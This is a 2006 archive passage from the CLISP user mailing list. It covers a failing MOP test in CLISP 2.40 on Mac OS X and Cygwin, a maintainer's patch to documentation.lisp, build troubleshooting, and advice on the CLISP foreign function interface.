clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 03 Oct 2006 10:48:51 -0000 Hello. When I compile clisp-2.40 with gcc-4.0 on an Intel Mac running Mac OS =20= X 10.4.8, one test of "make check-tests" fails; here is the output: finished 49 files: 1 error out of 10,421 tests 1 alltest: 0 errors out of 631 tests 2 array: 0 errors out of 290 tests 3 backquot: 0 errors out of 89 tests 4 bin-io: 0 errors out of 15 tests 5 characters: 0 errors out of 221 tests 6 clos: 0 errors out of 485 tests 7 defhash: 0 errors out of 6 tests 8 encoding: 0 errors out of 31 tests 9 eval20: 0 errors out of 21 tests 10 floeps: 0 errors out of 20 tests 11 format: 0 errors out of 259 tests 12 genstream: 0 errors out of 14 tests 13 hashlong: 0 errors out of 10 tests 14 hashtable: 0 errors out of 7 tests 15 iofkts: 0 errors out of 220 tests 16 lambda: 0 errors out of 89 tests 17 lists151: 0 errors out of 201 tests 18 lists152: 0 errors out of 255 tests 19 lists153: 0 errors out of 1 test 20 lists154: 0 errors out of 46 tests 21 lists155: 0 errors out of 25 tests 22 lists156: 0 errors out of 20 tests 23 list-set: 0 errors out of 2 tests 24 loop: 0 errors out of 134 tests 25 macro8: 0 errors out of 194 tests 26 map: 0 errors out of 64 tests 27 mop: 1 error out of 219 tests 28 number: 0 errors out of 3,655 tests 29 number2: 0 errors out of 252 tests 30 pack11: 0 errors out of 202 tests 31 path: 0 errors out of 143 tests 32 setf: 0 errors out of 168 tests 33 socket: 0 errors out of 85 tests 34 steele7: 0 errors out of 85 tests 35 streams: 0 errors out of 363 tests 36 streamslong: 0 errors out of 14 tests 37 strings: 0 errors out of 408 tests 38 symbol10: 0 errors out of 147 tests 39 symbols: 0 errors out of 5 tests 40 time: 0 errors out of 23 tests 41 type: 0 errors out of 272 tests 42 weak: 0 errors out of 120 tests 43 weakhash: 0 errors out of 25 tests 44 weakhash2: 0 errors out of 46 tests 45 bind: 0 errors out of 67 tests 46 weakptr: 0 errors out of 240 tests 47 conditions: 0 errors out of 90 tests 48 restarts: 0 errors out of 68 tests 49 excepsit: 0 errors out of 374 tests Real time: 196.93605 sec. Run time: 107.92802 sec. Space: 741555544 Bytes GC: 986, GC time: 30.853638 sec. 1 Bye. (echo *.erg | grep '*' >/dev/null) || (echo "Test failed:" ; ls -l =20 *erg; echo "To see which tests failed, type" ; echo " cat "`pwd`"/=20 *.erg" ; exit 1) Test failed: -rw-r--r-- 1 ycodet ycodet 731 3 oct 12:25 mop.erg To see which tests failed, type cat /Users/ycodet/Desktop/clisp-2.40/src/tests/*.erg make[1]: *** [compare] Error 1 make: *** [check-tests] Error 2 ~/Desktop/clisp-2.40/src $ cat /Users/ycodet/Desktop/clisp-2.40/src/=20 tests/*.erg Form: (LET (CONSTRUCTOR) (DEFCLASS CONSTRUCTOR NIL =20 ((NAME :INITARG :NAME :ACCESSOR CONSTRUCTOR-NAME) =20 (FIELDS :INITARG :FIELDS :ACCESSOR CONSTRUCTOR-FIELDS)) (:METACLASS =20 FUNCALLABLE-STANDARD-CLASS)) (DEFMETHOD INITIALIZE-INSTANCE :AFTER =20 ((C CONSTRUCTOR) &KEY) (WITH-SLOTS (NAME FIELDS) C (SET-FUNCALLABLE-=20 INSTANCE-FUNCTION C #'(LAMBDA NIL (LET ((NEW (MAKE-ARRAY (1+ (LENGTH =20 FIELDS))))) (SETF (AREF NEW 0) NAME) NEW))))) (SETQ CONSTRUCTOR (MAKE-=20= INSTANCE 'CONSTRUCTOR :NAME 'POSITION :FIELDS '(X Y))) (LIST (STRINGP =20= (WITH-OUTPUT-TO-STRING (*STANDARD-OUTPUT*) (DESCRIBE CONSTRUCTOR))) =20 (FUNCALL CONSTRUCTOR))) CORRECT: (T #(POSITION NIL NIL)) CLISP : ERROR SYSTEM::%RECORD-REF : # n'est pas un =ABrecord=BB= . Unfortunately I'm unable to understand the above message. Best wishes, YC From kavenchuk@jenty.by Tue Oct 03 04:17:45 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GUiHR-0006Lh-7D for clisp-list@lists.sourceforge.net; Tue, 03 Oct 2006 04:17:45 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GUiHP-0007A9-MJ for clisp-list@lists.sourceforge.net; Tue, 03 Oct 2006 04:17:45 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id T2NP51RP; Tue, 3 Oct 2006 14:21:17 +0300 Message-ID: <45224767.5040803@jenty.by> Date: Tue, 03 Oct 2006 14:20:07 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.8.0.7) Gecko/20060910 SeaMonkey/1.0.5 MIME-Version: 1.0 CC: clisp-list@lists.sourceforge.net References: <45223C8A.2080905@jenty.by> In-Reply-To: <45223C8A.2080905@jenty.by> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Problem compiling CLisp 2.40 on Solaris/x86 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 03 Oct 2006 11:17:45 -0000 In "clisp-cvs Digest, Vol 6, Issue 1": > Index: documentation.lisp > =================================================================== > RCS file: /cvsroot/clisp/clisp/src/documentation.lisp,v > retrieving revision 1.25 > retrieving revision 1.26 > diff -u -d -r1.25 -r1.26 > --- documentation.lisp 4 Sep 2006 04:12:24 -0000 1.25 > +++ documentation.lisp 1 Oct 2006 14:48:19 -0000 1.26 > @@ -11,9 +11,10 @@ > (sys::%record-ref x 2)) > #+FFI ((eq (type-of x) 'ffi::foreign-function) > (getf (sys::%record-ref x 5) :documentation)) > - ((sys::subr-info x) ; built-in > - (get :documentation (sys::function-name x))) > - (t (sys::closure-documentation x)))) > + ((sys::closurep x) (sys::closure-documentation x)) > + ((let ((name (sys::subr-info x))) ; subr > + (and name (get :documentation name)))) > + (t (get :documentation (sys::%record-ref x 0))))) Huh... What you meant? -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Tue Oct 03 07:06:02 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GUkuH-0003hS-WB for clisp-list@lists.sourceforge.net; Tue, 03 Oct 2006 07:06:02 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GUkuH-0005nZ-E1 for clisp-list@lists.sourceforge.net; Tue, 03 Oct 2006 07:06:01 -0700 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id AE4B56300C2; Tue, 03 Oct 2006 10:06:03 -0400 Message-ID: <45226E3E.6020702@gnu.org> Date: Tue, 03 Oct 2006 10:05:50 -0400 From: Sam Steingold User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: Yaroslav Kavenchuk References: <45223C8A.2080905@jenty.by> <45224767.5040803@jenty.by> In-Reply-To: <45224767.5040803@jenty.by> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problem compiling CLisp 2.40 on Solaris/x86 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 03 Oct 2006 14:06:02 -0000 Yaroslav Kavenchuk wrote: > > + ((let ((name (sys::subr-info x))) ; subr > > + (and name (get :documentation name)))) while this code is certainly broken, it should not cause this breakage. 1. On linux I see: [1]> (describe #'position) # is a built-in system function. Argument list: (#:ARG0 #:ARG1 &KEY :FROM-END :START :END :KEY :TEST :TEST-NOT) For more information, evaluate (DISASSEMBLE #'POSITION). [2]> (documentation 'position 'function) NIL [3]> (sys::%record-ref #'position 0) POSITION [4]> what do you see? 2. ./clisp --version | grep CODES SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY thanks. Sam. From kavenchuk@jenty.by Tue Oct 03 07:22:55 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GUlAc-0005C5-TV for clisp-list@lists.sourceforge.net; Tue, 03 Oct 2006 07:22:54 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GUlAb-0003QL-9j for clisp-list@lists.sourceforge.net; Tue, 03 Oct 2006 07:22:54 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id T2NP5F32; Tue, 3 Oct 2006 17:26:18 +0300 Message-ID: <452272C4.7080804@jenty.by> Date: Tue, 03 Oct 2006 17:25:08 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.8.0.7) Gecko/20060910 SeaMonkey/1.0.5 MIME-Version: 1.0 To: Sam Steingold References: <45226E3E.6020702@gnu.org> In-Reply-To: <45226E3E.6020702@gnu.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problem compiling CLisp 2.40 on Solaris/x86 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 03 Oct 2006 14:22:55 -0000 Sam Steingold wrote: >> > + ((let ((name (sys::subr-info x))) ; subr >> > + (and name (get :documentation name)))) > > while this code is certainly broken, it should not cause this breakage. Not this. May be this: + (t (get :documentation (sys::%record-ref x 0))))) > [3]> (sys::%record-ref #'position 0) > POSITION > [4]> > > what do you see? [3]> (sys::%record-ref #'position 0) *** - SYSTEM::%RECORD-REF: # is not a record The following restarts are available: ABORT :R1 ABORT Break 1 [4]> > 2. ./clisp --version | grep CODES > SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS > SPVW_MIXED TRIVIALMAP_MEMORY $ ./clisp --version | grep CODES SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Tue Oct 03 09:01:31 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GUmi3-0006YE-Bm for clisp-list@lists.sourceforge.net; Tue, 03 Oct 2006 09:01:31 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GUmi1-0003Mj-GW for clisp-list@lists.sourceforge.net; Tue, 03 Oct 2006 09:01:31 -0700 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A95C86500AC; Tue, 03 Oct 2006 12:01:32 -0400 Message-ID: <45228950.5090908@gnu.org> Date: Tue, 03 Oct 2006 12:01:20 -0400 From: Sam Steingold User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: Yaroslav Kavenchuk References: <45226E3E.6020702@gnu.org> <452272C4.7080804@jenty.by> In-Reply-To: <452272C4.7080804@jenty.by> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problem compiling CLisp 2.40 on Solaris/x86 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 03 Oct 2006 16:01:31 -0000 Yaroslav Kavenchuk wrote: > Sam Steingold wrote: > >>> > + ((let ((name (sys::subr-info x))) ; subr >>> > + (and name (get :documentation name)))) >> while this code is certainly broken, it should not cause this breakage. > > Not this. May be this: > > + (t (get :documentation (sys::%record-ref x 0))))) > >> [3]> (sys::%record-ref #'position 0) >> POSITION >> [4]> >> >> what do you see? > > [3]> (sys::%record-ref #'position 0) > > *** - SYSTEM::%RECORD-REF: # is not a record > The following restarts are available: > ABORT :R1 ABORT > Break 1 [4]> > >> 2. ./clisp --version | grep CODES >> SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS >> SPVW_MIXED TRIVIALMAP_MEMORY > > $ ./clisp --version | grep CODES > SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS > SPVW_MIXED TRIVIALMAP_MEMORY > OK, please try this patch: --- documentation.lisp 02 Oct 2006 06:01:24 -0400 1.26 +++ documentation.lisp 03 Oct 2006 10:47:23 -0400 @@ -4,7 +4,7 @@ (in-package "CLOS") -(defun function-documentation (x) +(defun function-documentation (x &aux name) (cond ((typep-class x ) (std-gf-documentation x)) ((eq (type-of x) 'FUNCTION) ; interpreted function? @@ -12,8 +12,7 @@ #+FFI ((eq (type-of x) 'ffi::foreign-function) (getf (sys::%record-ref x 5) :documentation)) ((sys::closurep x) (sys::closure-documentation x)) - ((let ((name (sys::subr-info x))) ; subr - (and name (get :documentation name)))) + ((setq name (sys::subr-info x)) (get :documentation name)) ; subr (t (get :documentation (sys::%record-ref x 0))))) ;;; documentation @@ -81,7 +80,7 @@ (:method ((x slot-definition) (doc-type (eql 't))) (slot-definition-documentation x))) -(defun set-function-documentation (x new-value) +(defun set-function-documentation (x new-value &aux name) (cond ((typep-class x ) (setf (std-gf-documentation x) new-value)) ((eq (type-of x) 'FUNCTION) ; interpreted function? @@ -89,8 +88,8 @@ #+FFI ((eq (type-of x) 'ffi::foreign-function) (setf (getf (sys::%record-ref x 5) :documentation) new-value)) ((sys::closurep x) (sys::closure-set-documentation x new-value)) - ((let ((name (sys::subr-info x))) ; subr - (and name (setf (get :documentation name) new-value)))) + ((setq name (sys::subr-info x)) ; subr + (setf (get :documentation name) new-value)) (t ; fsubr (setf (get :documentation (sys::%record-ref x 0)) new-value)))) if firefox screws this up, just download the patch from https://sourceforge.net/tracker/index.php?func=detail&aid=1569234&group_id=1355&atid=101355 thanks. sorry about the srew-up... From kavenchuk@tut.by Tue Oct 03 14:18:28 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GUrem-0002Uo-Jd for clisp-list@lists.sourceforge.net; Tue, 03 Oct 2006 14:18:28 -0700 Received: from mail.tut.by ([195.137.160.40]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GUrel-0004Hp-27 for clisp-list@lists.sourceforge.net; Tue, 03 Oct 2006 14:18:28 -0700 Received: from [86.57.147.73] (account kavenchuk HELO [86.57.147.73]) by mail.tut.by (CommuniGate Pro SMTP 4.3.8) with ESMTPSA id 151921044; Wed, 04 Oct 2006 00:18:12 +0300 Message-ID: <4522D391.8020805@tut.by> Date: Wed, 04 Oct 2006 00:18:09 +0300 From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.8.0.6) Gecko/20060729 SeaMonkey/1.0.4 MIME-Version: 1.0 To: Sam Steingold References: <45226E3E.6020702@gnu.org> <452272C4.7080804@jenty.by> <45228950.5090908@gnu.org> In-Reply-To: <45228950.5090908@gnu.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: Yaroslav Kavenchuk , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problem compiling CLisp 2.40 on Solaris/x86 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 03 Oct 2006 21:18:28 -0000 Sam Steingold wrote: > OK, please try this patch: Thanks, this is work. I should rebuild and resend packages for win32? -- WBR, Yaroslav Kavenchuk. From ycodet@club-internet.fr Tue Oct 03 22:56:04 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GUzjg-0003K6-Em for clisp-list@lists.sourceforge.net; Tue, 03 Oct 2006 22:56:04 -0700 Received: from relay-bm.club-internet.fr ([194.158.104.68]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GUzjf-00079x-3y for clisp-list@lists.sourceforge.net; Tue, 03 Oct 2006 22:56:04 -0700 Received: from [192.168.1.2] (gar31-1-87-91-198-34.dsl.club-internet.fr [87.91.198.34]) by relay-bm.club-internet.fr (Postfix) with ESMTP id 24B0E25606 for ; Wed, 4 Oct 2006 07:56:00 +0200 (CEST) Mime-Version: 1.0 (Apple Message framework v752.3) Content-Transfer-Encoding: quoted-printable Message-Id: <614860A7-3425-4980-9630-DCFA698BA128@club-internet.fr> Content-Type: text/plain; charset=ISO-8859-1; delsp=yes; format=flowed To: clisp-list@lists.sourceforge.net From: Yves Codet Date: Wed, 4 Oct 2006 07:56:00 +0200 X-Mailer: Apple Mail (2.752.3) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] =?iso-8859-1?q?R=E9p_=3A__Problem_compiling_CLisp_2?= =?iso-8859-1?q?=2E40_on_Solaris/x86?= X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Oct 2006 05:56:04 -0000 Hello. Le 3 oct. 06 =E0 18:01, Sam Steingold a =E9crit : > > if firefox screws this up, just download the patch from > https://sourceforge.net/tracker/index.php?=20 > func=3Ddetail&aid=3D1569234&group_id=3D1355&atid=3D101355 > "patch" couldn't find the file to patch (maybe I used it the wrong =20 way); if I apply it to "src/documentation.lisp" "configure" ends with =20= an error (which wasn't the case without the patch): make[1]: *** [check] Illegal instruction make: *** [check-subdirs] Error 2 Configure findings: FFI: no (user requested: default) readline: yes (user requested: default) libsigsegv: yes Maybe I don't understand the meaning of the line: FFI: no (user requested: default) Isn't "--with-dynamic-ffi" the default? Best wishes, Yves Codet From rurban@x-ray.at Tue Oct 03 23:21:29 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GV08G-0005Md-Du for clisp-list@lists.sourceforge.net; Tue, 03 Oct 2006 23:21:29 -0700 Received: from lb01nat14.inode.at ([62.99.145.14] helo=mx.inode.at) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GV08B-0000qU-Mv for clisp-list@lists.sourceforge.net; Tue, 03 Oct 2006 23:21:28 -0700 Received: from [62.99.252.218] (port=3435 helo=[192.168.1.3]) by smartmx-12.inode.at with esmtps (TLS-1.0:DHE_RSA_AES_256_CBC_SHA:32) (Exim 4.50) id 1GV082-0003hP-79 for clisp-list@lists.sourceforge.net; Wed, 04 Oct 2006 08:21:14 +0200 Message-ID: <452352D9.8080805@x-ray.at> Date: Wed, 04 Oct 2006 08:21:13 +0200 From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8.1b2) Gecko/20060821 SeaMonkey/1.1a MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 1.9 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.9 UPPERCASE_50_75 message body is 50-75% uppercase Subject: [clisp-list] 2.40 fails mop.tst on cygwin X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Oct 2006 06:21:29 -0000 all tests pass except one: Form: (LET (CONSTRUCTOR) (DEFCLASS CONSTRUCTOR NIL ((NAME :INITARG :NAME :ACCESSOR CONSTRUCTOR-NAME) (FIELDS :INITARG :FIELDS :ACCESSOR CONSTRUCTOR-FIELDS)) (:METACLASS FUNCALLABLE-STANDARD-CLASS)) (DEFMETHOD INITIALIZE-INSTANCE :AFTER ((C CONSTRUCTOR) &KEY) (WITH-SLOTS (NAME FIELDS) C (SET-FUNCALLABLE-INSTANCE-FUNCTION C #'(LAMBDA NIL (LET ((NEW (MAKE-ARRAY (1+ (LENGTH FIELDS))))) (SETF (AREF NEW 0) NAME) NEW))))) (SETQ CONSTRUCTOR (MAKE-INSTANCE 'CONSTRUCTOR :NAME 'POSITION :FIELDS '(X Y))) (LIST (STRINGP (WITH-OUTPUT-TO-STRING (*STANDARD-OUTPUT*) (DESCRIBE CONSTRUCTOR))) (FUNCALL CONSTRUCTOR))) CORRECT: (T #(POSITION NIL NIL)) CLISP : ERROR SYSTEM::%RECORD-REF: # is not a record ./makemake --with-dynamic-ffi --prefix=/usr --fsstnd=redhat --with-readline --with-gettext --with-module=rawsock --with-module=dirkey --with-module=bindings/win32 --with-module=berkeley-db --with-module=pcre --with-module=postgresql --with-module=fastcgi --with-module=zlib same as on MacOSX -- Reini Urban http://phpwiki.org/ http://murbreak.at/ http://helsinki.at/ http://spacemovie.mur.at/ From marko.kocic@gmail.com Tue Oct 03 23:28:35 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GV0F9-0005vH-Ja for clisp-list@lists.sourceforge.net; Tue, 03 Oct 2006 23:28:35 -0700 Received: from wx-out-0506.google.com ([66.249.82.226]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GV0F8-00061m-Bp for clisp-list@lists.sourceforge.net; Tue, 03 Oct 2006 23:28:35 -0700 Received: by wx-out-0506.google.com with SMTP id r21so99137wxc for ; Tue, 03 Oct 2006 23:28:33 -0700 (PDT) Received: by 10.90.25.3 with SMTP id 3mr22771agy; Tue, 03 Oct 2006 23:28:33 -0700 (PDT) Received: by 10.90.98.4 with HTTP; Tue, 3 Oct 2006 23:28:33 -0700 (PDT) Message-ID: <9238e8de0610032328s43036764gb7182f7512a50920@mail.gmail.com> Date: Wed, 4 Oct 2006 08:28:33 +0200 From: "=?UTF-8?Q?Marko_Koci=C4=87?=" To: list-clisp MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] 2.40 win32 binary X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Oct 2006 06:28:35 -0000 Is there going to be one? From Joerg-Cyril.Hoehle@t-systems.com Wed Oct 04 02:24:58 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GV2zq-0003Vw-1z for clisp-list@lists.sourceforge.net; Wed, 04 Oct 2006 02:24:58 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GV2zp-0000Pw-F6 for clisp-list@lists.sourceforge.net; Wed, 04 Oct 2006 02:24:58 -0700 Received: from S4DE8PSAAGT.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 4 Oct 2006 10:40:50 +0200 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAAGT.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Wed, 4 Oct 2006 10:40:50 +0200 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5 Date: Wed, 4 Oct 2006 10:40:48 +0200 Message-Id: in-reply-to: <4517F1E3.7050407@gnu.org> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: ffi & libsvm Thread-Index: AcbgtQ0TLzrhqHPWSteEdfkBb7kl2gG1/mHA From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 04 Oct 2006 08:40:50.0017 (UTC) FILETIME=[CB626D10:01C6E790] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] ffi & libsvm X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Oct 2006 09:24:58 -0000 Sam Steingold wrote: >Hoehle, Joerg-Cyril wrote: >> Why don't you create a Lisp vector of nodes and let the FFI convert = that in one go? >> (allocate-deep 'problem '(1 #(2.0d0) #( (1 2.0d0) (2 5.6d0)))) >this appears to work fine. > (libsvm:train (ffi:foreign-value problem) > (ffi:foreign-value f-parameter)) > >works by >1. converting `problem' from C to Lisp (in foreign-value) >2. converting the Lisp `problem' back to C on C stack (alloca) >3. calling the C function (svm_train) > >if this is actually the case, this is totally unacceptable=20 >because this=20 >means that huge objects are converted between C and Lisp for=20 >absolutely no reason. You did not tell enough about your needs! I showed you a solution that works for the problem described initially. You enlarged the problem, presumably as follows: "one call is not = enough. I have plenty of them where some important resource remains = constant. At least it should remain EQ". Here's my advice: o Indeed, don't convert back and forth the same entity over and over = again. This is a stupid mistake. (ffilib:some-function (ffi:foreign-value #)) looks exactly like such a = mistake. o If you have a foreign resource (like C stdio FILE), don't convert it. = Rather keep it on the foreign side. o If you need to create the resource on the Lisp side, do it once. = Afterwards work with a # object that you pass around = as by reference. Note that this implies that all relevant functions exhibit a parameter = type declaration like (C-POINTER foo) or C-POINTER, not (C-PTR foo). You can try to use (C-POINTER foo) to achieve some type safety, but it = doesn't go far. The CLISP FFI is a serialization and conversion engine, = not a C type checker. When you work with references, there's little to serialize. You can consider that the CLISP FFI was designed by Bruno back in 1994-5 = with object conversions in mind, like common in Pascal (or the C queens = example in impnotes shows). This may help you understand it. Nowadays, = working with object by reference and accessor methods is much more = common, types/structs tend to get hidden and only primitive types like = int and string get exported. That's not the perfect match for the FFI, = IMHO. IIRC, there are some examples in bindings/linuxlibc about (C-POINTER = foo) and opacity. Regards, J=F6rg From sds@gnu.org Wed Oct 04 06:13:43 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GV6ZC-0005eN-Pb for clisp-list@lists.sourceforge.net; Wed, 04 Oct 2006 06:13:42 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GV6ZB-0000oY-8v for 